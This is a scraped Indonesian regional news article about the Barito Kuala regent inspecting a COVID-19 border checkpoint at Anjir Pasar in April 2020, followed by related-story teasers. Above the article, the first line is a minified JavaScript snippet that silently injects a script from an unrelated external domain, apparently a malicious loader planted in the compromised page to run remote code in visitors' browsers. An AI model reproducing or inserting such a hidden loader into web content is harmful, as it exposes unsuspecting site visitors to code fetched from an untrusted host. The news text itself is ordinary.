(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, MARABAHAN – Sebagai Kabupaten yang berbatasan langsung dengan Provinsi Kalimantan Tengah dan menjadi pintu gerbang Kalimantan Selatan, Pemkab Batola terus melakukan berbagai antisipasi penyebaran Covid-19. Bupati Batola Noormiliyani pun tak segan turun langsung ke perbatasan, Kamis (2/4/2020) untuk melakukan pengawasan.
Jika sebelumnya petugas bergantian setiap 12 jam untuk berjaga di pos jaga perbatasan Anjir Pasar KM 14 dengan Kabupaten Kapuas Kalteng, kini terjadi penambahan personil. Sehingga petugas dapat bergantian setiam 8 jam. Hal ini untuk memastikan kesehatan petugas yang menjadi garda terdepan tetap prima dan pemeriksaan tetap maksimal.
Bersama BPBD Batola, Polsek Anjir Pasar, Koramil Anjir Pasar, Puskesmas Anjir Pasar, Kecamatan Anjir Pasar, Palang Merah Indonesia (PMI), Organisasi kepemudaan KNPI, Noormiliyani terjun langsung mengecek suhu tubuh pengguna jalan yang melintas di pos yang beroperasi sejak 26 Maret lalu. Setiap pengendara yang lewat akan dilakukan pemeriksaan suhu tubuh dengan termometer digital. Jika terdapat pengendara bersuhu tubuh tinggi, maka akan dilakukan pemeriksaan lebih lanjut oleh dokter jaga.
Sebelum Bupati Batola Noormiliyani beserta jajarannya memeriksa pengguna jalan, terlebih dahulu dilakukan penyemprotan cairan disinfektan sepanjang jalan Trans Kalimantan. Penyemprotan menggunakan mobil penyemprot milik Polres Batola. Serta dibantu petugas Damkar.
“Jaga kesehatan pian lah, kalau kada penting tunda dulu berpergian,†himbau Bupati Noormiliyani pada pengendara yang diperiksanya. Didampingi PJ Sekretaris Daerah Barito Kuala Abdul Manaf, Kepala Dinas Kesehatan Batola Azizah Sri Wedari, Kepala BPBD Sumarno, Asisten Bidang Kemasyarakatan Akhmad Mawarni, Staf Ahli Ekobang Rusmadi dan Kabag Humas Hery Sasmita, Bupati memberikan semangat kepada petugas kesehatan yang berjaga.
Bupati juga meminta kepada petugas kesehatan untuk menyampaikan langsung jika ada peralatan yang harus di lengkapi.
Kendati belum ada perhatian Pemerintah Provinsi Kalsel untuk pos penjagaan yang menjadi gerbang Kalimantan Selatan, Bupati tetap perintahkan jajarannya untuk memaksimalkan sumberdaya yang ada untuk memperketat pengawasan perbatasan. Noormiliyani tidak lupa berterimakasih kepada seluruh petugas pos penjagaan yang telah menjadi garda terdepan Satgas Covid-19 Batola.
“Alhamdulillah dengan segala daya upaya yang ada kita bisa membangun pos sendiri sebagai upaya pencegahan masuknya Covid-19 di Batola,†terang Mantan Ketua DPRD Provinsi Kalsel ini.(kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.